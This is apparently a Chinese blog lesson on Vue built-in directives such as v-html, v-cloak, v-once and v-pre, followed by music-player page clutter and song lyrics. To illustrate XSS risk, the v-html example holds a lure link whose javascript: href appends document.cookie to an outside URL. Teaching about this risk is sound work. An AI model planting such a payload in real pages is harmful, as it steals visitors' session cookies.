第一章 Vue核心 第十五节 内置指令

15.1  内置指令

    学过的指令:
       v-bind          单向绑定解析表达式,可简写为 :xxx
       v-model         双向数据绑定
       v-for           遍历数组/对象/字符串
       v-on            绑定事件监听,可简写为 @
       v-if            条件渲染(动态控制节点是否存在)
       v-else          条件渲染(动态控制节点是否存在,必须与v-if搭配使用)
       v-show          条件渲染(动态控制节点是否展示)
       v-text          向其所在的节点中渲染文本内容(v-text会替换掉节点中的内容)
       v-html          向其所在的节点中渲染文本内容,可以识别html结构
                       安全性问题:在网站上动态渲染任意html是非常危险的,容易导致XSS攻击

    代码示例:

复制代码
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>内置指令</title>
        <script src="../lib/vue.js"></script>
        <link rel="stylesheet" href="../../鼠标指针样式.css"/>
    </head>
    <body>
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-text="name">你好,</div>
            <div v-text="str"></div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false;

            new Vue({
                el:'#root',
                data:{
                    name:'retrace',
                    str:'<h3>hello!</h3>',
                    str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
                }
            });
        </script>
    </body>
    </html>
复制代码

 

15.2  v-cloak、v-once、v-pre指令

    v-cloak指令(没有值)
        1.本质是一个特殊属性,Vue实例创建完并接管容器后,会删掉v-cloak属性。
        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

    v-once指令
        1.v-once所在的节点在初次动态渲染后,就视为静态内容了
        2.以后数据的改变不会引起v-once所在结构的更新,可用于优化性能

    v-pre指令
        1.跳过其所在节点的编译过程
        2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

    示例代码:

复制代码
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>v-cloak、v-once、v-pre指令</title>
        <script src="../lib/vue.js"></script>
        <link rel="stylesheet" href="../../鼠标指针样式.css"/>
        <style>
            [v-cloak]{
                display: none;
            }
        </style>
    </head>
    <body>
        <div id="root">
            <h1 v-cloak>{{name}}</h1>

            <h1 v-once>初始值是:{{number}}</h1>
            <h1 v-cloak>number的值:{{number}}</h1>
            <button @click="number++">number+1</button>

            <h1 v-pre>Vue其实很简单</h1>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false;

            new Vue({
                el:'#root',
                data:{
                    name:'retrace',
                    number:1
                }
            });
        </script>
    </body>
    </html>
复制代码

本文作者:何以之

本文链接:https://www.cnblogs.com/serendipity-echo/articles/15408205.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   何以之  阅读(50)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 残酷游戏 卫兰
  2. 2 明知做戏 吴雨霏
  3. 3 你,好不好? 周兴哲
  4. 4 我可以 蔡旻佑
  5. 5 云烟成雨 房东的猫
  6. 6 说散就散 JC 陈咏桐
  7. 7 我配不上你 夏天Alex
  8. 8 不再联系 夏天Alex
  9. 9 等我先说 夏天Alex
  10. 10 我知道他爱你 夏天Alex
  11. 11 多想在平庸的生活拥抱你 隔壁老樊
  12. 12 这一生关于你的风景 隔壁老樊
  13. 13 我曾 隔壁老樊
  14. 14 关于孤独我想说的话 隔壁老樊
  15. 15 过客 周思涵
  16. 16 备爱 周思涵
  17. 17 嚣张 en
  18. 18 海口 后弦
明知做戏 - 吴雨霏
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 夏至(蔡冕丽)

作曲 : 方文良

编曲 : 吴国恩

等你的汽水喝一半给你加片薄冰

等你的桌面满泄我总会打理重整

不想纯情

不够聪明

你未发现我的身影

得我帮你依照编码整理家里电影

只会得我一个帮你选购喜爱铃声

天天如常

估你心情

等一个眼神求证

一闪擦过如流星

怎么我为我做过的感到惊怕

就像爱吗我也不肯定恐怕

我以为存在吗

千变万化

从来不肯开口可相信吗

离谱吗

请你不要阻我喜欢你

明明是爱但你未说话你扮作闪避

这个沉默冷静的你亳无办法处理

其实我亦怕是错摸心理

总有天会等到好天气

游行示爱大叫着你在某大遍草地

等你无用退避不过仍然害羞的你

还是顾忌太不争气

明知做戏

即使你未太在意不感到惊讶

现在要说爱你请准备招架

勇气还存在吗

不要害怕

随时真的胆敢亲手送花

离谱吗

请你不要阻我喜欢你

明明是爱但你未说话你扮作闪避

这个沉默冷静的你亳无办法处理

其实我亦怕是错摸心理

总有天会等到好天气

游行示爱大叫着你在某大遍草地

等你无用退避不过仍然害羞的你

还是顾忌太不争气

明知做戏

不过不要阻我紧张你

如何令你愉快让我办妥为你准备

喜爱沉默冷静的你还是自信的你

仍愿意为你造一些惊喜

总有天会等到好天气

游行示爱大叫着你在某大遍草地

等你无用退避不过途人目光不理

期待贴着你的手臂

无须做戏

等你喜爱等你不爱就凭摘毫验证

想爱不爱偏爱不理亦同样难划清

天天如常

估你心情

不想扑索来求证

争取过趁还年青

终于你下决定来答应

太动听